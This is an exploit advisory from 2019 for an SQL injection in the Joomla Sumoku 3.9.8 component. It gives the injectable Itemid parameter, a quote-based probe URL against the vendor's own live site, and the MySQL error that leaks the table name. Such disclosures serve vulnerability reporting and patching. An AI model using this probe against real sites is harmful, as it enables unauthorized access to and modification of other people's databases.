Joomla Sumoku 3.9.8 SQL Injection

`##################################################################  
  
# Exploit Title : Joomla Sumoku 3.9.8 SQL Injection  
# Author [ Discovered By ] : KingSkrupellos  
# Team : Cyberizm Digital Security Army  
# Date : 12/10/2019  
# Vendor Homepage : blueorangegames.com/sumoku/  
# Affected Version : 3.9.8  
# Tested On : Windows and Linux  
# Category : WebApps  
# Exploit Risk : Medium  
# Vulnerability Type : CWE-89 [ Improper Neutralization of   
Special Elements used in an SQL Command ('SQL Injection') ]  
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968  
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/  
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos  
  
###################################################################  
  
# Impact :  
***********  
Joomla Sumoku is prone to an SQL-injection vulnerability because   
it fails to sufficiently sanitize user-supplied data before using it in an SQL query.   
Exploiting this issue could allow an attacker to compromise the application, access or   
modify data, or exploit latent vulnerabilities in the underlying database.   
A remote attacker can send a specially crafted request to the vulnerable application and   
execute arbitrary SQL commands in application`s database. Further exploitation of this   
vulnerability may result in unauthorized data manipulation.   
An attacker can exploit this issue using a browser or with any SQL Injector Tool.  
  
###################################################################  
  
# SQL Injection Exploit :  
**********************  
/sumoku/index.php?option=com_sumoku&Itemid=[SQL Injection]&lang=fr  
  
###################################################################  
  
# Example Vulnerable Sites :  
*************************  
[+] blueorangegames.com/sumoku/index.php?option=com_sumoku&Itemid=1%27&lang=fr  
  
###################################################################  
  
# Example SQL Database Error :  
****************************  
No valid database connection You have an error in your SQL syntax; check the  
manual that corresponds to your MySQL server version for the right syntax to use   
near '' at line 3 SQL=SELECT a.* FROM jossumoku_sumoku AS a WHERE   
a.published = 1 AND a.id =  
  
###################################################################  
  
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team   
  
###################################################################  
`